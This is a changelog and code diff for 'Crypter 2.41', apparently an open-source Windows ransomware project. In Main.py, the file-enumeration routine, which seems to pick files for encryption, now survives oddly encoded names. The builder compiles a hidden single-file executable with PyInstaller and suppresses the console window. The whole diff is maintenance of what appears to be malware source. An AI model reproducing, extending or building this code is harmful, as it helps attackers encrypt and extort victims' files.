CRYPTER 2.41

- Changed default encoding to UTF-8
- Fixed bug where file paths with unexpected encoding would crash
Crypter exe (GH issues #53 and #54)
- Added handling to check that PyInstaller is installed before
attempting build. This will prevent the builder from hanging (GH issue

Crypter/Main.py

@@ -23,6 +23,10 @@
 from ScheduledTask import ScheduledTask 
 from TaskManager import TaskManager
 
+# Encoding
+reload(sys)
+sys.setdefaultencoding('utf8')
+
 
 ###################
 ## CRYPTER Class ##
@@ -325,25 +329,34 @@ def find_files(self):
         for file in files:
           if os.path.isfile(os.path.join(path, file)):
             # Check file is valid
-            if (
-                (self.is_valid_filetype(file)) and
-                (not self.is_excluded_file(file)) and
-                (not self.is_excluded_dir(path)) and
-                (file.lower() != binary_name.lower()) and
-                (not os.path.join(path, file).lower().startswith(win32file.GetLongPathName(sys._MEIPASS).lower()))
-                ):
-                    file_list.append(os.path.join(path, file))
+            try:
+              if (
+                  (self.is_valid_filetype(file)) and
+                  (not self.is_excluded_file(file)) and
+                  (not self.is_excluded_dir(path)) and
+                  (file.lower() != binary_name.lower()) and
+                  (not os.path.join(path, file).lower().startswith(win32file.GetLongPathName(sys._MEIPASS).lower()))
+                  ):
+                      file_list.append(os.path.join(path, file))
+            except Exception:
+                # Skip any files with strange chars not within our encoding
+                pass
         for file in subdirs:
           if os.path.isfile(os.path.join(path, file)):
             # Check file is valid
-            if (
-                (self.is_valid_filetype(file)) and
-                (not self.is_excluded_file(file)) and
-                (not self.is_excluded_dir(path)) and
-                (file.lower() != binary_name.lower()) and
-                (not os.path.join(path, file).lower().startswith(win32file.GetLongPathName(sys._MEIPASS).lower()))
-                ):
-                    file_list.append(os.path.join(path, file))
+            try:
+              if (
+                  (self.is_valid_filetype(file)) and
+                  (not self.is_excluded_file(file)) and
+                  (not self.is_excluded_dir(path)) and
+                  (file.lower() != binary_name.lower()) and
+                  (not os.path.join(path, file).lower().startswith(win32file.GetLongPathName(sys._MEIPASS).lower()))
+                  ):
+                      file_list.append(os.path.join(path, file))
+            except Exception:
+                # Skip any files with strange chars not within our encoding
+                pass
+
 
 
     return file_list

build/ExeBuilder/BuilderThread.py

@@ -6,6 +6,7 @@
 # Import libs
 import time
 import os
+import sys
 import json
 import subprocess
 from threading import Thread, Event
@@ -268,10 +269,13 @@ def __run_pyinstaller(self, spec_path):
             raise UserHalt
 
         self.__console_log(msg="Calling PyInstaller. Please wait...")
-
+
+        # Get PyInstaller location
+        pyinstaller_path = os.path.join(os.path.dirname(sys.executable), "pyinstaller.exe")
+
         # Build command
         cmd = [
-            "pyinstaller",
+            pyinstaller_path,
             "--noconsole",
             "--clean",
             "-F"
@@ -288,12 +292,16 @@ def __run_pyinstaller(self, spec_path):
 
 
         # Call PyInstaller subprocess
-        build = subprocess.Popen(cmd,
-                      stdout=subprocess.PIPE,
-                      stderr=subprocess.STDOUT,
-                      creationflags=0x08000000 # To prevent console window opening
-                      )
-
+        try:
+            build = subprocess.Popen(cmd,
+                          stdout=subprocess.PIPE,
+                          stderr=subprocess.STDOUT,
+                          creationflags=0x08000000 # To prevent console window opening
+                        )
+        except WindowsError as we:
+            raise BuildFailure({"message":"Could not find PyInstaller at '%s'. Check that PyInstaller is installed" % pyinstaller_path,
+                               "ccode":ERROR_FILE_NOT_FOUND})
+
         while True:
             # Check for stop
             if self.__stop_event.isSet():